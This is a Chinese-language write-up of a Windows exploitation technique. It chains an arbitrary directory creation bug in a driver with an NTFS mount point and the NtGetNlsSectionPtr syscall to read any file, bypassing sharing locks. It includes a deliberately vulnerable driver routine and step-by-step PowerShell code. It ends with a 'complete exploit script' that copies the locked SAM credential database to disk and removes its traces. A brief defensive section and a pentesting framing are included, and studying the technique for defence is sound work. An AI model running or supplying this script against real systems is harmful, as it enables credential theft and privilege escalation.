Windows利用技巧:从任意目录创建到任意文件读取
字数 1616 2025-08-29 08:32:24
Windows利用技巧:从任意目录创建到任意文件读取
1. 技术背景
本技术演示了如何利用Windows系统中的任意目录创建漏洞,通过NTFS挂载点和NLS(国际语言支持)系统调用,最终实现任意文件读取的能力。这不是一个特定的漏洞,而是一种利用技巧,适用于存在任意目录创建漏洞的场景。
2. 核心原理
2.1 任意目录创建漏洞
在Windows内核API中,文件和目录的创建都通过ZwCreateFile系统调用完成,区别在于CreateOptions参数:
FILE_DIRECTORY_FILE:创建目录FILE_NON_DIRECTORY_FILE:创建文件
漏洞示例代码:
NTSTATUS KernelCreateDirectory(PHANDLE Handle, PUNICODE_STRING Path) {
IO_STATUS_BLOCK io_status = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
InitializeObjectAttributes(&obj_attr, Path, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
return ZwCreateFile(Handle, MAXIMUM_ALLOWED, &obj_attr, &io_status,
NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}
关键点:
- 使用
FILE_DIRECTORY_FILE标志 - 使用
FILE_OPEN_IF作为Disposition参数(不存在则创建,存在则打开) - 调用
Zw函数(内核权限运行,禁用访问检查) - 未设置
OBJ_FORCE_ACCESS_CHECK标志
2.2 NTFS挂载点(Junction Points)
NTFS挂载点通过$REPARSE_POINT属性存储目标路径。关键特性:
- 可以重定向到文件(而不仅仅是目录)
- 当不指定
FILE_DIRECTORY_FILE或FILE_NON_DIRECTORY_FILE标志时,可以成功重定向到文件
2.3 NLS系统调用
NtGetNlsSectionPtr系统调用用于映射代码页文件到内存:
- 首先尝试在
\NLS目录下打开命名节对象 - 如果不存在,则打开对应的
.nls文件并创建节对象 - 最后映射节对象到内存
关键漏洞点:
- 使用
ZwOpenFile时不设置OBJ_FORCE_ACCESS_CHECK ZwOpenFile的最后一个参数为0(不设置文件/目录标志)- 文件路径格式为
\SystemRoot\System32\c_<NUM>.nls
3. 利用步骤
3.1 创建任意目录
- 通过驱动程序的IOCTL接口创建目录
- 目录路径格式:
\SystemRoot\system32\c_<NUM>.nls(如1337)
PowerShell示例:
Import-Module NtObjectManager
function Get-DriverIoCtl {
Param([int]$ControlCode)
[NtApiDotNet.NtIoControlCode]::new("Unknown", 0x800 -bor $ControlCode, "Buffered", "Any")
}
function New-Directory {
Param([string]$Filename)
Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
$ioctl = Get-DriverIoCtl -ControlCode 2
$nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
$bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
$file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
}
}
$dir = "\SystemRoot\system32\c_1337.nls"
New-Directory $dir
3.2 设置挂载点
将创建的目录设置为指向目标文件的挂载点:
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir -Options OpenReparsePoint,DirectoryFile) {
$file.SetMountPoint($target_path, $target_path)
}
3.3 触发文件读取
通过NtGetNlsSectionPtr系统调用读取文件:
Use-NtObject($map = [NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "Copied file"
}
}
3.4 清理
删除创建的目录和节对象:
# 删除目录
Use-NtObject($file = Get-NtFile $dir -Options OpenReparsePoint,DirectoryFile -Access Delete) {
$file.Delete()
}
# 删除节对象
Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 -Access Delete) {
$sect.MakeTemporary()
}
4. 技术细节
4.1 绕过文件共享限制
关键点:
NtGetNlsSectionPtr只请求SYNCHRONIZE访问权限- 文件共享检查不考虑
SYNCHRONIZE权限 - 内核中的
ZwCreateSection不检查句柄的读取权限 - 因此可以读取被独占锁定的文件(如SAM)
4.2 路径处理
- 使用
\SystemRoot而非驱动器号,避免重定向问题 - 代码页文件路径格式固定:
\SystemRoot\System32\c_<NUM>.nls - 数字代码页应选择未使用的值(如1337)
5. 防御措施
-
驱动程序开发:
- 使用
OBJ_FORCE_ACCESS_CHECK标志 - 限制目录创建位置
- 验证输入路径
- 使用
-
系统加固:
- 限制对
\SystemRoot\System32的写权限 - 监控异常的目录创建操作
- 限制对NLS系统调用的访问
- 限制对
-
检测:
- 监控异常的挂载点创建
- 检查对敏感文件(如SAM)的异常访问尝试
6. 完整利用脚本
# 完整利用脚本
Import-Module NtObjectManager
# 1. 创建目录
$dir = "\SystemRoot\system32\c_1337.nls"
New-Directory $dir
# 2. 设置挂载点
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir -Options OpenReparsePoint,DirectoryFile) {
$file.SetMountPoint($target_path, $target_path)
}
# 3. 触发文件读取
Use-NtObject($map = [NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
$map.GetStream().CopyTo($output)
Write-Host "SAM文件已复制到sam.bin"
}
}
# 4. 清理
Use-NtObject($file = Get-NtFile $dir -Options OpenReparsePoint,DirectoryFile -Access Delete) {
$file.Delete()
}
Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 -Access Delete) {
$sect.MakeTemporary()
}
7. 总结
本技术展示了如何将看似无害的任意目录创建漏洞升级为任意文件读取能力,关键在于:
- 利用NTFS挂载点重定向到文件
- 利用NLS系统调用的特殊行为绕过文件共享限制
- 精心构造路径和访问方式实现目标
这种技术适用于Windows 7及更高版本,是一种强大的后利用技术,特别是在渗透测试和红队评估中。防御此类攻击需要多层次的防护措施,包括适当的权限管理、输入验证和系统监控。